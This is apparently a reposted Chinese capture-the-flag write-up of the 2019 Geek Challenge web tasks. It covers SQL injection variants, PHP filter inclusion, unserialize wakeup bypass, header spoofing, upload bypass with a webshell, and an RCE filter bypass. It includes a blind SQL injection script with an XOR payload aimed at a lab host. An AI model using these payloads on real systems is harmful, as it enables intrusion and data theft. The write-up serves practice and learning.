2019極客大挑戰


[極客大挑戰 2019]EasySQL

用1’ 測試發現存在字符型注入

 

 

 

首先嘗試構造用萬用密碼登錄

 

 

 

 得到flag

 

 

 

 

[極客大挑戰 2019]LoveSQL

 居然和 [極客大挑戰 2019]EasySQL 一樣,用萬用密碼進去了

拿到 admin 和 password

 

 

 不過沒用

重新,簡單測試后發現是字符型注入

Order by 測字段

 

 

 (其他略)數據

[極客大挑戰 2019]BabySQL

 先用萬用,發現不行,常規注入也發現不行,后來看了網上得wp才知道有雙寫注入

在常規注入基礎上對關鍵字符雙寫

(其他略)數據

 

 

 

 

[極客大挑戰 2019]HardSQL

上面的方法都不行,但是可以報錯注入

 

 

 

數值(字段拼接)

 

 

[極客大挑戰 2019]FinalSQL

看提示是盲注的題目,但是不知道注入點,網上看了wp才知道id是注入點,而且 ^ 沒被過濾

然后自己嘗試了一下盲注,發現不會,於是看看網上的注入方法

發現還是搞不起來,腳本又不會寫,於是看看網上的腳本

附上從網上看到的1篇腳本(感覺自己技術還是爛的一批)

import requests
import time

url = "http://f2240070-b31e-447d-91c5-3c2653b490a9.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("flag=" ,column)

[極客大挑戰 2019]Havefun

進界面沒啥東西就看看源代碼,找到

 

 

 構造,得到flag

 

 

 

[極客大挑戰 2019]Secret File

看源碼找到/Archive_room.php

點擊響應太快,就換bp抓包

找到secr3t.php

發現文件包含漏洞,采用php://filter(這里 input 和 data 被過濾) 偽協議

 

Base64解密得flag

 

[極客大挑戰 2019]PHP

看源碼沒東西,掃,得源碼

 

 

 看着應該是反序列化

 

 

 看class.php

 

 

 

 如果 username=admin 並且 password=100 輸出flag

構造exp

 

出錯

 

 

 

 

 重來,__wakeup()需要繞過(當反序列化字符串,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。)

 

 

 

 把2改成3

同時截斷username 和 password(防止數據丟失)

 

 

[極客大挑戰 2019]Knife

 蟻劍連接得flag

 

[極客大挑戰 2019]Http

看源碼發現 Secret.php

 需要bp抓包

偽造網址(referer)

 

 

 偽造瀏覽器(UA)

偽造本地(X-Forwarded-For)得到 flag

 

 

 

 

[極客大挑戰 2019]BuyFlag

查看源碼發現

 

首先password傳輸要是數字字符串但要等於404

這樣可以用 password = 404a  繞過(會把之后的a注釋掉)

 

 

 Nember太長,從百度了解到老版本PHP不能輸入8位字符,但strcmp可以用 [] 繞過

於是

[極客大挑戰 2019]Upload

看頁面是文件上傳,發現直接傳輸上傳不了,bp截斷並修改Content-Type

 

 

 

 

 不能php就修改成phtml

 

加個GIF89a

還是不行,那就用<script>

成功上傳蟻劍連接

 

 

[極客大挑戰 2019]RCE ME

看源碼

 

 

知道要繞過,從網上看到了這個腳本(能異或2個ASCII字符變為新字符)

def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))


if __name__ == "__main__":
    r_xor()

發現payload異或不了

我又換了種思路,看到類似的取反,先用網上的payload看看phpinfo

 

 

發現可以,於是想采用這種方法

(看到了許多禁用函數)

構造了一個一句話木馬

 

 

 

蟻劍連接

要用到 繞過disable_functions插件

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM